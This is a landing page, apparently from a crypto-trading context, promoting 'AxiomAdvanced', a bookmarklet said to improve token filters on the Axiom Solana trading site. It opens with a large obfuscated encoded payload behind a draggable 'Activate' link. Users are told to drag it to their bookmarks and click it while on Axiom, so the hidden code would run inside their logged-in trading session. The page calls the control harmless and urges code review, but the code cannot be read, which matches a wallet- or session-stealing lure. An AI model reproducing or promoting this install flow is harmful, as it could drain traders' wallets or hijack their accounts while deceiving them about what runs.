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');" draggable="true" title="Activate" aria-label="Drag Activate to your bookmarks">ActivateHow to install
Drag Activate Overlay to your bookmarks. No extension required.
HOW TO INSTALL
1

Show your bookmarks bar, then drag the Activate Overlay button onto it.

2

Open Axiom in your browser like you normally would.

3

Click the AxiomAdvanced bookmark to activate the flow on that tab.

DiscoverFiltersSignalsTracker⌕ Search tokens or wallets
FILTERHIGH SIGNAL
LIQUIDITYHEALTHY
ACTIVITYCONFIRMED
NOISEREDUCED
CLEAR
SignalsFiltersActivity● Filters ready
BUILT FOR A CLEANER AXIOM FLOW

Filter out the noise.

AxiomAdvanced keeps the familiar Axiom workflow while helping surface the signals that matter.

⌕

Better Token Filters

Cut through noisy listings with clearer filters for the signals you actually want to see.

◎

Signal Quality

Keep useful activity in view while reducing distractions across the discovery flow.

⌁

Zero Install

No extension, no store review, and no extra permissions. Just a bookmark you control.

NOISE FILTERS readySIGNAL QUALITY focusedSOLANA awareMEV aware
ACCESS

Start with the free AxiomAdvanced flow.

Free access is live now. Additional plans are shown as work in progress while the product is being built.

Professional

For advanced filtering.

WIP
WIPcoming later
  • Everything in Free
  • Priority filter updates
  • More filter controls
  • Direct product feedback
WIP

Team

For shared workflows.

WIP
WIPcoming later
  • Everything in Professional
  • Shared team workflows
  • Role-based access
  • Dedicated onboarding
WIP

Free access is available now. Professional and Team plans are WIP.

FILTERS

See the signal, skip the noise.

Keep the Axiom desktop flow visible while AxiomAdvanced narrows discovery down to cleaner, more useful signals.

AxiomAdvanced Axiom Pulse desktop preview
AXIOMADVANCED FILTERS

Simple filters that stay out of the way.

Start with the essentials and keep the discovery flow focused on the conditions you care about.

Liquidity thresholdPREVIEW
Holder distributionPREVIEW
Token agePREVIEW
Activity qualityPREVIEW
SECURITY FIRST

You stay in control.

AxiomAdvanced is an independent browser bookmark concept. Review any bookmark code before installing it, never share private keys, and always confirm trades in Axiom.

✓

Review before you trade

The Activate control is intentionally harmless until you add your own bookmarklet logic.

Local browser flowREADY
No extension requiredREADY
User-controlled activationREADY
FAQ

Clear answers for a cleaner trading flow.

The short version of what AxiomAdvanced does, what it does not do, and how to stay in control.

What is AxiomAdvanced?

AxiomAdvanced is an independent browser bookmark workflow for clearer filters and less noise around Axiom discovery.

Does it install an extension?

No. The current flow uses a bookmark you add and control in your own browser.

Is it authorized by Axiom?

No. AxiomAdvanced is independent and is not affiliated with, endorsed by, or sponsored by Axiom.

What data does it read?

Review the bookmark code before using it. Never provide a seed phrase, private key, or wallet secret to this site or any bookmarklet.

Can I use it on mobile?

Safari iOS setup is documented above, but the desktop browser flow is the primary experience.

Is there a free trial?

The trial plan is currently a product preview. No payment is taken and no account is required on this static page.